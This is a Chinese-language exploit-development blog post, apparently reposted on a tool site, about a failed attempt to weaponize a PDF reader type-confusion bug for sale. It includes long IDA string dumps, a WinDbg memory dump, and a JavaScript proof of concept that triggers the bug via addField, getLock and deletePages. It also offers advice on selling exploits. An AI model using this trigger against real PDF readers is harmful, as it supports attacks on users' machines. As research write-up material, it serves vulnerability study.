但不管怎样,我想把我们的一部分工作过程放进来,是为了展示——正如已经展示过的——漏洞利用开发并不是一门精确的科学。对于新手研究人员和即将入行的年轻研究人员来说,非常重要的一课是:你需要用耐心和驱动力(也就是动力)武装自己,才能经常看到那一小线曙光,而很多时候它并不是隧道的尽头,而只是又一次挫败。但别怕,这是过程的一部分。所以你要学到的一课是:做漏洞利用开发时,你会浪费很多很多时间。再次强调,别怕,这是利用过程的一部分。现在,随着我们接近这篇文章和这个故事的结尾,让我再给你们分享一些我们在旅程中获得的教训。所以,当你发现对象不可写、只能读,当你发现自己已经试遍了可用 API 文档提供的所有方法,还额外花力气转储了那些看起来可用的 JS API,比如 AddcDocID .rdata:050B1EC8 00000007 C AddStr .rdata:050E8E70 00000016 C Sign_Fill_Set_PreText .rdata:050E8E88 00000012 C Sign_Fill_AddText .rdata:050E8E9C 00000017 C Sign_Fill_AddText_Comb .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 .rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders

.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons

而当你真正开始进入一部分逆向流程、试图理解这个二进制到底在做什么时,你的 IDB 伪代码看起来会是这样 为了控制篇幅、不让文章太长,这里省略了一大堆代码 WhatsApp Image 2025-04-18 at 17 20 10

有人可能会说,这是类的初始化。错。不要相信 IDA,因为偏移量是错的;就算是我错了,相信我,你仍然必须去交叉引用函数名,在 200 个交叉引用中再分析另外 200 个函数才能搞懂,而且还要在 windbg 中动态解析每一个指针函数调用并对其做逆向。

再加上,如果你试着做类似这样的事 09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c..... function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

let syntaxString = "a.constructor.constructor('return this')()";


gFields.combo = app.activeDocs[0].addField(
  syntaxString,
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

它确实能跑通,但你没法写出类似 let x = "\x41\x41\x41\x41" 的东西并把 x 用作 addField 中该对象的名字;花 3 个半小时让 IDB 在 bindiff 中加载,结果 IDB 加载不了,反而耗尽了 16GB 内存。这些基本上就是你很可能无法利用该二进制的迹象。

所以,教训是:如果你发现上面一段描述的情况大部分都出现了,那么为了你的心理健康,你最好转向下一个漏洞利用,而不是再浪费 3 周时间,只为看看它到底能不能利用。

现在故事已接近尾声,最后我再分享一些在这次尝试制作和出售漏洞利用过程中学到的经验:

  1. 不要害怕尝试出售漏洞利用
  2. 在开始尝试出售漏洞利用之前,先把漏洞利用真正做出来,然后再联系你想出售的对象
  3. 在决定选定某个 CVE 进行武器化之前,先花大约 1 个月时间做初步研究,然后再火力全开
  4. 请记住,尽管公告可能暗示这可以转化为武器化的漏洞利用,但仍存在大量障碍,而这些障碍不一定与利用过程本身有关,例如:缺少足够的信息来逆向它、过于复杂(要理解一个函数需要 200+ 个函数)、大量必须在运行时手动完成的解码、未文档化的 API 函数、有限的读/写能力、没有开源代码。就本例而言,一个版本需要比对 20 万个函数,所以总共大约 40 万个函数要做 bindiff(显然在现实世界的漏洞利用中,复杂度飙升得非常快)
  5. "知道何时钉下棺材的最后一颗钉子",随着你尝试的项目越来越多,这种判断力会随经验而来。但在没有必要的时候,真的不要硬撑。
  6. 你肯定会浪费大量时间,所以不要太苛责自己。
  7. 当你无法放置对象来替换对象,只能放置字符串,而这些字符串又被编码为 Unicode;即使你绕过了这一点,却仍然无法放入任何类似十六进制的数据,以便能够——怎么说呢——以某种方式读出来,比如在这种情况下用 sharedarraybuffer 喷射一个地址(因为我们没有足够的信息来构造假对象),那就直接转向下一个漏洞利用吧。 最后,在结束这篇博客之前,我们把代码留在这里作为启发。如果有人成功将这种类型混淆武器化,请告诉我们你是怎么做到的 :)
下载工具